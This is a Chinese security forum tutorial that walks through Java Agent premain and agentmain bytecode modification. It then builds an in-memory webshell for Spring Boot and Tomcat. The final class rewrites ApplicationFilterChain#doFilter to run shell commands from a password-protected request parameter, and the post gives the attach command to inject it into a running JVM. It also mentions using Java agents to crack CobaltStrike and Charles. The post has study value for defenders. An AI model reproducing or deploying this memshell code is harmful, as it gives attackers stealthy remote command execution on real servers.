安全矩阵

 找回密码
 立即注册
搜索
查看: 2290|回复: 0

Java Agent到内存马

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-15 16:17:56 | 显示全部楼层 |阅读模式
原文链接:Java Agent到内存马

前言今天看到一篇文章,写的是关于JAVA Agent相关的资料(附1),里面提到了Java Agent的两种实现方法:
  •         实现premain方法,在JVM启动前加载
  •         实现agentmain方法,在JVM启动后attach加载

因为最近流行破解CobaltStrike不再直接使用反编译打包源码了,而是使用JAVA Agent进行提前字节码修改。并且文章中也提到了javassist工具,我之前也用过javassist工具进行破解过Charles,因此抱着学习和复习的态度来复现下本文提到的技术点。
JAVA Agent两种方法复现Java Agent简单说就是一种可以修改jar字节码的技术,我们来复现下上述提到的两种方法。
premain通过实现premain方法,并在启动jar时添加-javaagent:agent.jar即可进行字节码修改。首先我们创建一个正常输出、测试用的JAVA程序,hello.jar:
  1. package com.test;

  2. public class Hello {
  3.   public static void main(String[] args) {
  4.       hello();

  5.   }

  6.   public static void hello(){
  7.       for (int i = 0; i < 1000; i++) {
  8.           System.out.println("hello");
  9.           try {
  10.               Thread.sleep(1000);
  11.           } catch (InterruptedException e) {
  12.               e.printStackTrace();
  13.           }
  14.       }
  15.   }
  16. }

复制代码

生成jar包:

Build -> Build Artifacts -> Build
正常运行jar包得到如下输出:

java -jar hello.jar

接下来编写一个实现premain方法的JAVA程序:
  1. package com.test;

  2. import java.lang.instrument.Instrumentation;

  3. public class premainagent {
  4.   public static void premain(String args, Instrumentation inst) throws Exception{
  5.       for (int i = 0; i < 10; i++) {
  6.           System.out.println("hello I`m premain agent!!!");
  7.       }
  8.   }
  9. }
复制代码

并在MANIFEST.MF添加一行:

Premain-Class: com.test.premainagent
生成jar包并加载执行:

java -javaagent:premainagent.jar -jar hello.jar
可以看到,成功的在hello.jar本身结果输出前输出了premain方法的内容:

前面也提到现在破解CobaltStrike流行用JAVA Agent技术,我们看下破解工具的源码,能发现确实用的也是premain方法进行的破解:

agentmain但是有些JVM已经启动了,不好去让他重启,因此这个时候agentmain就派上用场了,可以方便的attach对应的进程进行字节码的修改。
编写一个实现了agentmain方法的JAVA程序:
  1. package com.test;

  2. import java.lang.instrument.Instrumentation;

  3. public class agentmaintest {
  4.   public static void agentmain(String agentArgs, Instrumentation inst) {
  5.       for (int i = 0; i < 10; i++) {
  6.           System.out.println("hello I`m agentMain!!!");
  7.       }
  8.   }
  9. }
复制代码

并在MANIFEST.MF添加一行:

Agent-Class: com.test.agentmaintest
生成jar包。
再编写一个attach程序(附2):
  1. import com.sun.tools.attach.*;
  2. import java.io.IOException;
  3. import java.util.List;

  4. public class TestAgentMain {

  5.     public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException{
  6.         //获取当前系统中所有 运行中的 虚拟机
  7.         System.out.println("running JVM start ");
  8.         List<VirtualMachineDescriptor> list = VirtualMachine.list();
  9.         for (VirtualMachineDescriptor vmd : list) {

  10.             System.out.println(vmd.displayName());
  11.             String aim = args[0];//你的jar包
  12.             if (vmd.displayName().endsWith(aim)) {
  13.                 System.out.println(String.format("find %s, process id %s", vmd.displayName(), vmd.id()));
  14.                 VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
  15.                 virtualMachine.loadAgent(args[1]);//你想要加载的agentmain包
  16.                 virtualMachine.detach();
  17.             }
  18.         }
  19.     }
  20. }
复制代码

生成jar包。依然尝试对hello.jar进行字节码的修改,但是这次是运行着的hello.jar:
首先运行hello.jar:
java -jar hello.jar
对hello.jar进行启动后的attach加载:

java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain hello.jar agentmaintest.jar
发现成功在hello.jar运行过程中进行了字节码修改:

​​
内存马既然可以修改某个方法的实现,那如果修改spring boot的Filter是否就可以实现一个Filter内存马?这里通过修改org.apache.catalina.core.ApplicationFilterChain#doFilter来达到实现内存马的目的。
依然实现一个agentmain方法,只是这次agentmain方法中不再是System.out.println了,而是接收request的值来执行命令。一开始跟着前文提到的方法进行复现,发现有一些问题,比如attach后会爆Caused by: java.lang.ClassNotFoundException: org.apache.catalina.core.ApplicationFilterChain
得加上这两句:
  1. ClassPool classPool = ClassPool.getDefault();
  2. classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
复制代码

除了上面agentmain章节中提到的,在MANIFEST.MF中添加一行Agent-Class,还要添加一行:

Can-Retransform-Classes: true
且最后执行命令的JAVA代码,申明变量类型时得是完整路径,如InputStream得变成java.io.InputStream。最终代码如下:
  1. package com.test;
  2. import java.lang.instrument.ClassFileTransformer;
  3. import java.lang.instrument.Instrumentation;
  4. import java.security.ProtectionDomain;
  5. import javassist.*;
  6. import java.lang.instrument.UnmodifiableClassException;
  7. import java.lang.instrument.IllegalClassFormatException;
  8. import java.io.IOException;
  9. import java.io.IOException;
  10. import java.lang.instrument.ClassFileTransformer;
  11. import java.lang.instrument.Instrumentation;
  12. import java.lang.instrument.UnmodifiableClassException;
  13. import java.security.ProtectionDomain;
  14. import javassist.CannotCompileException;
  15. import javassist.ClassPool;
  16. import javassist.CtClass;
  17. import javassist.CtMethod;
  18. import javassist.NotFoundException;


  19. public class memshell {
  20.     public static void agentmain(String agentArgs, Instrumentation instrumentation)
  21.             throws ClassNotFoundException, UnmodifiableClassException {
  22.         instrumentation.addTransformer(new ClassFileTransformer() {
  23.             @Override
  24.             public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
  25.                                     ProtectionDomain protectionDomain, byte[] classfileBuffer){
  26.                 System.out.println("premain load Class2:" + className);
  27.                 if(!"org/apache/catalina/core/ApplicationFilterChain".equals(className)){
  28.                     System.out.println("nonononononono");
  29.                     return null;
  30.                 }else {
  31.                     try {
  32.                         System.out.println("tryyyyyyyy");
  33.                         ClassPool classPool = ClassPool.getDefault();
  34.                         classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
  35.                         if (classBeingRedefined != null) {
  36.                             ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
  37.                             classPool.insertClassPath(ccp);
  38.                         }
  39.                         CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
  40.                         CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
  41.                         String source = "{javax.servlet.http.HttpServletRequest request = $1;" +
  42.                                 "javax.servlet.http.HttpServletResponse response = $2;" +
  43.                                 "request.setCharacterEncoding("UTF-8");" +
  44.                                 "String result = "";" +
  45.                                 "String password = request.getParameter("password");" +
  46.                                 "if (password != null && password.equals("xxxxxx")) {" +
  47.                                 "String cmd = request.getParameter("cmd");" +
  48.                                 "if (cmd != null && cmd.length() > 0) {" +
  49.                                 "java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +
  50.                                 "java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();" +
  51.                                 "byte[] b = new byte[1024];" +
  52.                                 "int a = -1;" +
  53.                                 "while ((a = in.read(b)) != -1) {" +
  54.                                 "baos.write(b, 0, a);" +
  55.                                 "}" +
  56.                                 "response.getWriter().println("<pre>" + new String(baos.toByteArray()) + "</pre>");" +
  57.                                 "}" +
  58.                                 "}}";
  59.                         ctMethod.insertBefore(source);
  60.                         System.out.println("okokkkkkkkkkkkkkkkkkkkkkkkkkkkkk");
  61.                         byte[] byteCode = ctClass.toBytecode();
  62.                         ctClass.detach();
  63.                         return byteCode;
  64.                     } catch (Exception e) {
  65.                         e.printStackTrace();
  66.                     }
  67.                     return null;
  68.                 }
  69.             }
  70.         },true);
  71.         instrumentation.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain"));
  72.     }

  73. }
复制代码


打包成jar,然后启动spring boot:



开始注入:

java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain demo-0.0.1-SNAPSHOT.jar  memshell.jar
成功执行命令:

总结本文借着公开的文章学习了Java Agent相关技术,分别对JVM运行前和运行后的字节码修改进行了复现,现在JAVA内存马越来越流行,借着反序列化等漏洞可以悄无声息的上一个Webshell,如何发现此类攻击手段也是一个重要战场。
附1:https://xz.aliyun.com/t/9450
附2:https://blog.csdn.net/qq_41874930/article/details/121284684


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-30 01:12 , Processed in 0.013778 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表